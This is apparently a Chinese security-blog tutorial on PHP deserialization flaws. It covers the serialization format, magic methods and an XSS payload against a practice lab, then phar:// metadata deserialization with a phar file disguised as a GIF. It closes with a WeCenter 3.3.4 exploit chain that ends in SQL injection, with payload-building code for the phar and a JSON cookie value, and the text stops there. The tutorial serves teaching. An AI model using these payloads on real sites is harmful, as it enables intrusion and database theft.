Web安全 | PHP反序列化入门这一篇就够了

HACK学习

发布于 2021-06-24 17:41:59

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发布于 2021-06-24 17:41:59

文章被收录于专栏：HACK学习

序列化

搞懂反序列化漏洞的前提,先搞懂什么是序列化:

序列化说通俗点就是把一个对象变成可以传输的字符串。

序列化实际是为了传输的方便,以整个对象为单位进行传输, 而序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。如果了解底层的同学可以知道,类中的方法本就不在类中。

而在php中,使用函数serialize()来返回一个包含字节流的字符串来表示

比如:

class S{

public $test="sd";

}

$s=new S(); //创建一个对象

serialize($s); //把这个对象进行序列化

序列化的结果是:

O:1:"S":1:{s:4:"test";s:2:"sd";}

代表的含义依次是:

O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型(string)
4:变量名称的长度
test:变量名称
s:数据类型
2:变量值的长度
sd:变量值

顺便说一下PHP 对不同类型的数据用不同的字母进行标示

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

反序列化

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

使用unserialize()函数

$u=unserialize("O:1:"S":1:{s:4:"test";s:2:"sd";}");

echo $u->test; //得到的结果为sd

反序列化安全

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

有哪些php常见的魔法函数:

__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁前被调用
__sleep() 在对象被序列化前被调用
__wakeup 将在反序列化之后立即被调用
__toString 当一个对象被当做字符串使用时被调用
__get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时
__invoke() 调用函数的方式调用一个对象时的回应方法
__call 和 __callStatic前者是调用类不存在的方法时执行，而后者是调用类不存在的静态方式方法时执行。

有面向对象编程基础的同学应该很多都能看懂,比如__contruct()：c++中的构造函数,java中的构造器；__destruct()：c++中的析构函数.java的自动回收机制:finalize()

靶场实战

了解了序列化、反序列化、php魔法函数,先来看一个靶场,尝试反序列化构造payload

payload

看一下题目,已知反序列化入口

先随便输点东西看看

这里既然是反序列化接口,就需要输入我们序列化的字符串,比如插入我们刚刚的payload

O:1:"S":1:{s:4:"test";s:2:"sd";}

不仅于此,构造xss

O:1:"S":1:{s:4:"test";s:28:"<script>alert('sd')</script>";}

漏洞原理分析

先看源码

<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);


if ($SELF_PAGE = "unser.php"){
$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}


$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.'header.php';


class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
?>

漏洞成因:

一.参数可控

从源码可以看到反序列化的变量是post请求的,post请求变量名为o,通过抓包发现我们输入框输入的值,正好赋值给Post变量o

二.实现了unserialize()函数

这一点是肯定的,没有这个函数这里肯定就无法反序列化

三.调用了魔法函数

__construct函数可利用

四.没有过滤

没有对传参进行过滤，否则无法构成目的Payload。

实战中要更具情况来构造payload,能利用的漏洞也远不止xss

phar://伪协议

除了unserialize反序列化之外，另一种能够反序列化方式是利用 phar:// 协议触发反序列化,前提是完全可控的文件名。

这个方法是在BlackHat 大会上的 Sam Thomas 分享了 File Operation Induced Unserialization via the “phar://” Stream Wrapper ，该研究员指出该方法在文件系统函数（ file_get_contents 、 unlink 等）参数可控的情况下，配合 phar://伪协议，可以不依赖反序列化函数 unserialize() 直接进行反序列化的操作。

什么是phar

官方文档:

https://www.php.net/manual/zh/book.phar.php

简单来说，phar是PHP提供的一种压缩和归档的方案，并且还提供了各种处理它的方法。

phar结构

由四部分组成:

一:stub

即用来标识phar 文件的部分，类似MZ头。格式为

<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>

二:manifest describing the contents

phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分，也存储用户自定义的meta-data，这是用来攻击的入口，最核心的地方

三:the file contents

被压缩文件的内容

四:signature for verifying Phar integrity

可选项，即签名。

demo

根据phar文件结构我们来自己构建一个phar文件，php内置了一个Phar类来处理相关操作。

注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件。不要只读

如果修改了之后在phpinfo上还是On的话记得把这行最前面的分号删掉,这样就行了

<?php
class TestObject {
}
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问该php页面,会在文件当前目录下生成一个phar文件

很明显的序列化特征，TestObject这个类已经以序列化形式储存

有序列化,必然有反序列化来处理,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，测试后受影响的函数如下：

fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents


file         filegroup        fopen        fileinode      fileowner            fileperms


is_dir       is_file          is_link      is_executable  is_readable          is_writeable


is_wirtble   parse_ini_file   copy         unlink         stat                 readfile

将phar文件伪装为gif

phar在设计时,只要求前缀为__HALT_COMPILER();而后缀或者内容并未设限,可以构造文件绕过上传

<?php
class TestObject {
}

@unlink("sd.phar");
$phar = new Phar("sd.phar");
$phar->startBuffering();
$phar->setStub("GIF89a","<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$o = new TestObject();
$o->data='sd!';
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

<?php
include('phar://sd.gif');
class TestObject {
    function __destruct()
{
        echo $this->data;
    }
}
?>

成功将meta-data中data数据反序列化出来

总结

利用条件:

phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤。

WeCenter3.3.4反序列化造成sql注入

这个洞有点老了,但不影响学习分析

cms下载地址:

http://www.wecenter.com/downloads/

在这个版本的cms中存在多个反序列化POP链，如果我们想利用这些 POP 链，就必须找到可控的反序列化点。WeCenter 中就存在可控的文件名,能够利用phar伪协议

定位到漏洞文件./system/aws_model.inc.php

析构函数遍历了this->_shutdown_query变量，然后带入了

public function query($sql, $limit = null, $offset = null, $where = null)
{
$this->slave();


if (!$sql)
{
throw new Exception('Query was empty.');
}


if ($where)
{
$sql .= ' WHERE ' . $where;
}


if ($limit)
{
$sql .= ' LIMIT ' . $limit;
}


if ($offset)
{
$sql .= ' OFFSET ' . $offset;
}


if (AWS_APP::config()->get('system')->debug)
{
$start_time = microtime(TRUE);
}


try {
$result = $this->db()->query($sql);
} catch (Exception $e) {
show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
}


if (AWS_APP::config()->get('system')->debug)
{
AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
}


return $result;
}

并没有任何的过滤,如果$this->_shutdown_query变量参数可控,那么就可以造成sql注入

利用反序列化的方式，可以重置$this->_shutdown_query的值。

再看./models/account.php

public function associate_remote_avatar($uid, $headimgurl)
{
if (!$headimgurl)
{
return false;
}


if (!$user_info = $this->get_user_info_by_uid($uid))
{
return false;
}


if ($user_info['avatar_file'])
{
return false;
}


if (!$avatar_stream = file_get_contents($headimgurl))
{
return false;
}


$avatar_location = get_setting('upload_dir') . '/avatar/' . $this->get_avatar($uid, '');


$avatar_dir = dirname($avatar_location) . '/';
if (!file_exists($avatar_dir))
{
make_dir($avatar_dir);
}

associate_remote_avatar函数将传进来的$headimgurl没有经过任何过滤直接传入了文件操作函数file_get_contents中，这个系统函数正好就在受影响的范围之内。全局搜索associate_remote_avatar

在./app/account/ajax.php

这个函数调用了associate_remote_avatar,而 headimgurl 值来源于 wxuser['headimgurl']，这个

在./models/openid/weixin/weixin.php

找到了数据库users_weixin 表,headimgurl 对应 access_user['headimgurl']，并且access_user 为函数被调用时传入的参数，继续找哪里调用了bind_account 方法

在./app/m/weixin.php

WXConnect的值来源于COOKIE，而access_user来源于

漏洞利用

注册一个账号

选择发起一个问题,并上传一个图片

上传一个phar文件,但改后缀为gif

<?php
class AWS_MODEL{
private $_shutdown_query = array();


public function __construct(){
$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
}
}
$a = new AWS_MODEL;
$phar = new Phar("11.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
?>

上传到服务器

这里会返回绝对路径

编造payload

<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'admin';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20210606/ca6820646810c27e025258594bb905ea.gif';
echo json_encode($arr);
?>